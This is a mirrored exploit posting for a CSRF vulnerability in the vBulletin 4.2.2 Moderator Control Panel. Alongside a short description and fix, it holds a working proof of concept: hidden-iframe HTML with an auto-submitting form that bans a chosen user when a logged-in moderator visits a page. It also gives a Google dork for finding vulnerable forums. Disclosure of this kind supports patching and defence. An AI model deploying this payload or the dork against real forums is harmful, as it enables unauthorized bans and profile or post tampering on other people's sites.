Lucene search
K

vBulletin Moderator Control Panel 4.2.2 CSRF

🗓️ 17 Dec 2014 00:00:00Reported by Daniel TomescuType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 36 Views

vBulletin Moderator Control Panel 4.2.2 CSRF vulnerability description and exploi

Code
`# Exploit Title: vBulletin Moderator Control Panel CSRF  
# Google Dork: "Powered by vBulletin® Version 4.2.2"  
# Date: 16-12-2014  
# Exploit Author: Tomescu Daniel http://daniel-tomescu.com https://rstforums.com/forum  
# Vendor Homepage: http://www.vbulletin.com/en/vb4-features/  
# Software Link: Premium  
# Version: vBulletin 4.2.2  
# Tested on: Chrome and Firefox  
# Reference: https://rstforums.com/forum/88810-csrf-vbulletin-modcp.rst  
  
  
### 1. Description  
  
vBulletin Moderator Control Panel suffer from a CSRF vulnerability because the CSRF tokens "adminhash" and "securitytoken" are not verified in POST requests.   
  
vBulletin has one additional protection against CSRF: checking the Referer header to be same origin. However this can be bypassed by making a POST request that does not have a Referer header.   
  
This vulnerability allows an attacker to ban/unban users, to modify user profiles, to edit/approve posts and topics and so on.   
  
### 2. Proof of Concept  
  
The attacker should target a moderator of target-forum.com and the moderator must be logged in Moderator Control Panel. The vulnerability can be exploited by tricking the moderator to visit a webpage that contains the following html code:  
  
<iframe name="ifr" frameborder="0" style="overflow:hidden;height:1%;width:1%" height="1%" width="1%"   
src='data:text/html,  
<html>   
<body>   
<iframe style="display:none" name="csrf-frame"></iframe>  
<form style="display:none" method="POST" action="https://target-forum.com/path-to/modcp/banning.php?do=dobanuser" target="csrf-frame" id="csrf-form">  
<input type="hidden" name="do" value="dobanuser" >   
<input type="hidden" name="adminhash" value="" >   
<input type="hidden" name="securitytoken" value="" >  
<input type="hidden" name="username" value="UserToBeBanned" >   
<input type="hidden" name="usergroupid" value="8" >  
<input type="hidden" name="period" value="D_7" >   
<input type="hidden" name="reason" value="Banned with CSRF" >  
<input type="submit" value="submit">   
</form>   
<script> window.onload = function(){ document.getElementById("csrf-form").submit(); } </script>   
</body>  
</html>'>  
</iframe>  
  
As a result, the user with the username "UserToBeBanned" will be added to the banned users list.  
  
### 3. Solution:  
  
Do not allow POST requests without a Referer header.  
Verify "adminhash" and "securitytoken" to be valid.  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation